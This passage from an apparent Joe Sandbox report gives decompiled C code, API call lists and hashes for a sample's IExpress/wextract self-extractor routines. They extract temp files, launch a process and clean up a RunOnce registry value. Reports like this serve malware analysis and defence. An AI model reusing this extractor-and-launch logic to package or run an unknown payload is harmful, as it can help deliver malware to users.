							_t30 = E01092BFB(0x1090000, 0, _t59); // executed
							 *0x10981e0 = _t30;
							__eflags =  *0x10981f8;
							if( *0x10981f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0x10981e4;
							if( *0x10981e4 == 0) {
								__imp___cexit();
								_t30 =  *0x10981e0; // 0x0
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E0109724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x01096a60
0x01096a6a
0x01096a6c
0x01096a71
0x01096a78
0x01096a7f
0x01096a85
0x01096a8e
0x01096a91
0x01096a93
0x01096a9c
0x01096aa2
0x00000000
0x00000000
0x01096aa6
0x01096ab4
0x00000000
0x01096aa8
0x01096aaa
0x01096aab
0x01096aab
0x01096abf
0x01096abf
0x01096ac5
0x01096ad1
0x01096ad7
0x01096b05
0x00000000
0x01096ad9
0x01096ad9
0x01096ae9
0x01096af0
0x01096af2
0x00000000
0x01096af4
0x01096af4
0x01096afb
0x01096afb
0x01096af2
0x01096ac7
0x01096ac7
0x01096ac9
0x01096b0b
0x01096b0b
0x01096b11
0x01096b13
0x01096b18
0x01096b1d
0x01096b24
0x01096b24
0x01096b30
0x01096b39
0x01096b39
0x01096b3b
0x01096b42
0x01096b57
0x01096b5f
0x01096b65
0x01096b65
0x01096b67
0x01096b6c
0x01096b6e
0x01096b71
0x01096b74
0x01096b74
0x01096b79
0x00000000
0x00000000
0x01096b7d
0x01096b81
0x00000000
0x00000000
0x01096b83
0x01096b8c
0x01096b8d
0x01096b90
0x01096b90
0x01096b83
0x01096b81
0x01096b94
0x01096b98
0x01096ba2
0x01096b9a
0x01096b9a
0x01096b9a
0x01096ba3
0x01096bab
0x01096bb0
0x01096bb5
0x01096bbc
0x01096bbf
0x00000000
0x01096bbf
0x01096c1e
0x01096c25
0x01096c27
0x01096c2d
0x01096c2d
0x01096c32
0x00000000
0x01096bc5
0x01096bc5
0x01096bc8
0x01096bcc
0x01096bce
0x01096bce
0x01096bd1
0x01096bd3
0x01096bd3
0x01096bd6
0x01096bda
0x01096be1
0x01096be3
0x01096be5
0x01096be5
0x01096be6
0x01096be6
0x01096be9
0x01096bea
0x01096bea
0x01096b74
0x01096c39
0x01096c3e
0x01096c3e
0x01096abe
0x01096abe
0x00000000

APIs

Part of subcall function 01097155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 01097182
Part of subcall function 01097155: GetCurrentProcessId.KERNEL32 ref: 01097191
Part of subcall function 01097155: GetCurrentThreadId.KERNEL32 ref: 0109719A
Part of subcall function 01097155: GetTickCount.KERNEL32 ref: 010971A3
Part of subcall function 01097155: QueryPerformanceCounter.KERNEL32(?), ref: 010971B8

GetStartupInfoW.KERNEL32(?,010972B8,00000058), ref: 01096A7F
Sleep.KERNEL32(000003E8), ref: 01096AB4
_amsg_exit.MSVCRT ref: 01096AC9
_initterm.MSVCRT ref: 01096B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 01096B49
exit.KERNELBASE ref: 01096BBF
_ismbblead.MSVCRT ref: 01096BDA

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 3f959237a13625c10e51356f420cd098d729e8961de9430418f59b35915b8ff2
Instruction ID: 9b89dc14aefb3488861c7ca12d1b21f225ac2d2bdfdae55941ee424a3452d795
Opcode Fuzzy Hash: 3f959237a13625c10e51356f420cd098d729e8961de9430418f59b35915b8ff2
Instruction Fuzzy Hash: 2F410371A04229CBDF619B6DD8347AE7BE4BB45720F10805BE9C1D7384DB7B4480AB90

Uniqueness

Uniqueness Score: -1.00%

Function 010958C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E010958C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E01091680(_t20, _t36, _t33);
					E0109658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0x1099124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E010944B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0x1099124 = E01096285();
					_t14 = 0;
				}
				return _t14;
			}

0x010958cd
0x010958d1
0x010958d3
0x010958d5
0x010958d8
0x010958d8
0x010958da
0x010958db
0x010958e1
0x010958ed
0x010958f1
0x0109591e
0x0109592c
0x01095943
0x0109594a
0x0109594d
0x01095953
0x01095959
0x00000000
0x0109595b
0x0109595c
0x01095963
0x0109596c
0x00000000
0x01095972
0x01095974
0x0109597a
0x0109597a
0x0109596c
0x010958f3
0x01095901
0x01095906
0x0109590b
0x01095910
0x01095910
0x01095918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,01095534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 010958E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,01095534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 01095943
LocalFree.KERNEL32(00000000,?,01095534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0109594D
CloseHandle.KERNEL32(00000000,?,01095534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0109595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,01095534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 01095963

Strings

TMP4351$.TMP, xrefs: 01095923
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 010958CD, 010958CF, 01095919, 01095962

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$TMP4351$.TMP
API String ID: 747627703-1860564779
Opcode ID: 4b76299d49bdcde422c31beaf363b594963bedc375d671e6e66acbace14d582c
Instruction ID: 74be7bc4c0f09bef231b3ccff123f24a2388f8887712553d7c4837850b745649
Opcode Fuzzy Hash: 4b76299d49bdcde422c31beaf363b594963bedc375d671e6e66acbace14d582c
Instruction Fuzzy Hash: F611387170021167EF301E7E6C2CA9B7E9DEF86270B00465AF5C5D31C4CA75980693A0

Uniqueness

Uniqueness Score: -1.00%

Function 01093FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E01093FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0x1098004; // 0x8a9c601
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E01096CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0x1099124 = E01096285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E010944B9(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0x1098a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0x1099a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0x1099a2c = _t44;
						}
					}
				}
				E0109411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0x1099a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x01093fef
0x01093ffa
0x01094001
0x01094008
0x0109400a
0x0109400b
0x01094010
0x0109410a
0x0109411a
0x0109411a
0x0109401c
0x0109401d
0x0109401e
0x0109401f
0x01094033
0x0109403b
0x010940ca
0x010940e9
0x010940f8
0x01094101
0x01094106
0x01094106
0x01094108
0x01094108
0x00000000
0x01094108
0x01094049
0x0109405c
0x01094062
0x01094068
0x0109406e
0x01094070
0x01094077
0x0109407f
0x01094089
0x0109408b
0x0109408b
0x01094089
0x01094077
0x01094091
0x0109409c
0x010940a8
0x010940b8
0x00000000
0x010940c2
0x00000000
0x010940c2

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 01094033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 01094049
GetExitCodeProcess.KERNELBASE ref: 0109405C
CloseHandle.KERNEL32(?), ref: 0109409C
CloseHandle.KERNEL32(?), ref: 010940A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 010940DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 010940E9

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 4dd03a9d04f20908b1d17fa073730f42533f0fa93e10e9b4f634806217f7a968
Instruction ID: 05a7396133d80d573a1e6741f1b6d13273a62868453e53bd51a22a9de6c993ca
Opcode Fuzzy Hash: 4dd03a9d04f20908b1d17fa073730f42533f0fa93e10e9b4f634806217f7a968
Instruction Fuzzy Hash: F431B171740208ABEF709B69DD68FAB77B8FBD4700F1001AAF585D2155CA3A4C82DB50

Uniqueness

Uniqueness Score: -1.00%

Function 010951E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E010951E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E0109468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E0109468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E010944B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0x1099124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0x1099124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E010944B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0x1099124 = 0x80070714;
					goto L10;
				}
				E010944B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x1099124 = E01096285();
				goto L10;
			}

0x010951fb
0x01095207
0x0109520b
0x0109523c
0x01095268
0x01095270
0x0109528b
0x01095293
0x0109529c
0x010952a6
0x010952b0
0x00000000
0x010952b0
0x0109529e
0x01095279
0x00000000
0x0109527b
0x01095273
0x00000000
0x01095273
0x0109524a
0x01095250
0x01095256
0x00000000
0x01095256
0x01095219
0x01095223
0x00000000

APIs

Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946A0
Part of subcall function 0109468F: SizeofResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946A9
Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946C3
Part of subcall function 0109468F: LoadResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946CC
Part of subcall function 0109468F: LockResource.KERNEL32(00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946D3
Part of subcall function 0109468F: memcpy_s.MSVCRT ref: 010946E5
Part of subcall function 0109468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010946EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,01092F4D,?,00000002,00000000), ref: 01095201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 01095250

Part of subcall function 010944B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01094518
Part of subcall function 010944B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 01094554

Part of subcall function 01096285: GetLastError.KERNEL32(01095BBC), ref: 01096285

Strings

<None>, xrefs: 01095262
UPROMPT, xrefs: 010951EF, 01095230

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: d22399dab0f40a000b1a20080f711ad7ea6e8c6ce202d598b868a6b9534c02df
Instruction ID: f12e2b7ffdfd1b2da10943b958b065ce7a4fa2d2dceb5337238a710e86ead020
Opcode Fuzzy Hash: d22399dab0f40a000b1a20080f711ad7ea6e8c6ce202d598b868a6b9534c02df
Instruction Fuzzy Hash: CD11E6F1300201ABDF266B765D78B7F61DDFBCA394B00406EB6C2D6184DA7E88016224

Uniqueness

Uniqueness Score: -1.00%

Function 010952B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E010952B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0x1098004; // 0x8a9c601
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0x10991e0; // 0xd18308
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0x1098a24 == 0 &&  *0x1099a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0x1098a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0x1098a24 == 0 &&  *0x1099a30 == 0) {
					_push(_t22);
					E01091781( &_v268, 0x104, _t22, "C:\Users\alfons\AppData\Local\Temp\IXP001.TMP\");
					if(( *0x1099a34 & 0x00000020) != 0) {
						E010965E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E01092390( &_v268);
					_t11 =  *0x1098a20; // 0x0
				}
				if( *0x1099a40 != 1 && _t11 != 0) {
					_t11 = E01091FE1(_t22); // executed
				}
				 *0x1098a20 =  *0x1098a20 & 0x00000000;
				return E01096CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x010952b6
0x010952b6
0x010952b6
0x010952c1
0x010952c8
0x010952cb
0x010952cc
0x010952d4
0x010952d6
0x010952d7
0x010952de
0x010952e0
0x010952f2
0x010952fa
0x010952fa
0x01095302
0x01095305
0x0109530c
0x01095312
0x01095316
0x01095316
0x01095317
0x0109531c
0x0109531f
0x01095333
0x01095345
0x01095351
0x01095359
0x01095359
0x01095363
0x01095369
0x0109536f
0x01095374
0x01095374
0x01095381
0x01095387
0x01095387
0x0109538f
0x010953a0

APIs

SetFileAttributesA.KERNELBASE(00D18308,00000080,?,00000000), ref: 010952F2
DeleteFileA.KERNELBASE(00D18308), ref: 010952FA
LocalFree.KERNEL32(00D18308,?,00000000), ref: 01095305
LocalFree.KERNEL32(00D18308), ref: 0109530C
SetCurrentDirectoryA.KERNELBASE(010911FC,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 01095363

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 01095334

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 2833751637-2356899610
Opcode ID: 6f64aa27485c22622653065b12671c8cfcf780fc36eeab12d4caed2b53b9e242
Instruction ID: 5504c49e3a683b529fd8782b10988ff566fa0749dda8d3681ec3ab875a2d47a5
Opcode Fuzzy Hash: 6f64aa27485c22622653065b12671c8cfcf780fc36eeab12d4caed2b53b9e242
Instruction Fuzzy Hash: 87218031600209DBEF729B25D83976977A0FB44714F04819EE9C657298CBBE5984EB84

Uniqueness

Uniqueness Score: -1.00%

Function 01091FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01091FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0x1098530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup1"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x01091fee
0x01092005
0x0109200d
0x01092017
0x00000000
0x01092020
0x0109200d
0x01092029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,0109538C,?,?,0109538C), ref: 01092005
RegDeleteValueA.KERNELBASE(0109538C,wextract_cleanup1,?,?,0109538C), ref: 01092017
RegCloseKey.ADVAPI32(0109538C,?,?,0109538C), ref: 01092020

Strings

wextract_cleanup1, xrefs: 01091FE7, 0109200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 01091FFB

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup1
API String ID: 849931509-1592051331
Opcode ID: bdbea3748939c35b42a3e55dbe58f069a3724e8758fa9bb97ccc05f8c9313815
Instruction ID: edabf481fa78a8d51bc6fdd7d030419d742362d171054feae4ef2efad7c53d52
Opcode Fuzzy Hash: bdbea3748939c35b42a3e55dbe58f069a3724e8758fa9bb97ccc05f8c9313815
Instruction Fuzzy Hash: 68E04F30650318FBEF318A91EC2EF6D7B6AF781780F10019ABA84A1155E7665A14E704

Uniqueness

Uniqueness Score: -1.00%

Function 01094CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E01094CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0x1098004; // 0x8a9c601
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0x10991d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E01094E99(_t75);
						L35:
						return E01096CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0x1098584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0x10991e4;
						_t58 = 0x10991e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0x10991e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0x10991e4;
						_t30 = E01094702( &_v268, 0x10991e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E0109476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E01094980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E010947E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0x10993f4 =  *0x10993f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0x10991e4;
						_t63 = 0x10991e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0x10991e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0x10991e4;
						_t30 = E01094702( &_v268, 0x10991e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E01094C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E01094B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E01094B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x01094cd0
0x01094cdb
0x01094ce0
0x01094ce2
0x01094cee
0x01094cf2
0x01094d0e
0x01094d0e
0x01094d11
0x01094e83
0x01094e88
0x01094e98
0x01094e98
0x01094d17
0x01094d17
0x01094d1a
0x01094d2f
0x01094d2f
0x00000000
0x01094d2f
0x01094d1c
0x01094d1c
0x01094d1f
0x01094dcb
0x01094dd0
0x01094dd2
0x01094ddd
0x01094ddd
0x01094de3
0x01094de8
0x01094ded
0x01094ded
0x01094def
0x01094df0
0x01094df0
0x01094df4
0x01094df4
0x01094df6
0x01094df9
0x01094dfc
0x01094dfc
0x01094dfe
0x01094dff
0x01094dff
0x01094e03
0x01094e08
0x01094e0a
0x01094e0f
0x01094d03
0x01094d03
0x00000000
0x01094d03
0x01094e18
0x01094e20
0x01094e25
0x01094e27
0x00000000
0x00000000
0x01094e33
0x01094e38
0x01094e3a
0x00000000
0x00000000
0x01094e40
0x01094e51
0x01094e56
